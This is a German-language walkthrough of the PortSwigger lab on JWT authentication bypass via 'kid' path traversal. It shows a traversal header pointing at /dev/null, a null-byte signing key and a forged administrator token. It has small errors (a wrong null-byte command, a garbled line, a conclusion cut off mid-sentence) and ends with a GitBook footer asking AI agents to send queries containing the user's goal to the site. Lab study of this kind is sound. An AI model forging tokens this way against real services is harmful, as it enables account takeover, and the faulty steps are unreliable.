> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# JWT-Authentifizierungsumgehung durch kid-Pfad-Traversal

Notizen zur JWT-Authentifizierungsumgehung durch kid-Pfad-Traversal für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### JWT-Authentifizierungsumgehung über Pfad-Traversal im kid-Header

#### Laborkontext

Die Anwendung verwendet JWT zur Verwaltung von Sitzungen. Um die Signatur zu prüfen, liest der Server den Header des JWT und ermittelt den Prüfschlüssel aus dem **Dateisystem** basierend auf dem Wert des `kid` Felds (Key ID). / Problem: Der `kid` Wert wird nicht ordnungsgemäß validiert, wodurch ein **Pfad-Traversal** erlaubt wird, auf eine beliebige Systemdatei zu verweisen.

Zweck: Fälsche ein JWT, das Zugriff auf `/admin`, dann Benutzer löschen **carlos**.

#### Ausgangspunkt

Nach der Verbindung mit `wiener:peter`, erhältst du ein gültiges JWT:

* Header : `alg = HS256`, `kid = <uuid>`
* Payload : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Angriffsidee

Während `kid` Da es als Pfad zum Laden des Schlüssels dient, können wir versuchen, es aus dem erwarteten Verzeichnis herauszuführen mit `../` um auf eine spezielle Datei zu zielen: **`/dev/null`**.

* `/dev/null` verhält sich wie eine „leere“ Datei.
* Wenn der Server den Schlüssel aus dieser Datei lädt, findet er (in diesem Szenario) für die Signaturprüfung einen Schlüssel, der äquivalent zu **null / leer**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erstellung eines symmetrischen Schlüssels

Du erzeugst ein Nullbyte und kodierst es in Base64:

* Befehl:

```bash
echo -ne '/0' | base64

AA==
```

Dann baust du ein symmetrisches JWK (`kty: oct`) dessen Schlüssel (`k`) ist `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(Das JWK `kid` dient hier nur als werkzeugseitige Kennung; Dies ist der `k` Wert.)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: `kid` Pfad-Traversal zu `/dev/null`

Du änderst dann den Header des JWT so, dass er auf `kid` zu ändern `/dev/null` über Pfad-Traversal:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Dann änderst du den `sub` im Payload zu einem Administratorkonto (in deinem Fall `administrator`)`AA==`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ergebnis

Final gefälschtes JWT (dasjenige, das du übergibst):

* `kid` Traversiert bis `/dev/null`
* `alg` bleibt `HS256`
* `sub` wird zu `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

Der Server \*\*akzeptiert\*\* das Token: Er bestätigt, dass die `kid` Auflösung verwendbar ist und dass die Signaturprüfung mit einem vom Zieldatei abgeleiteten Schlüssel erfolgt (hier

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
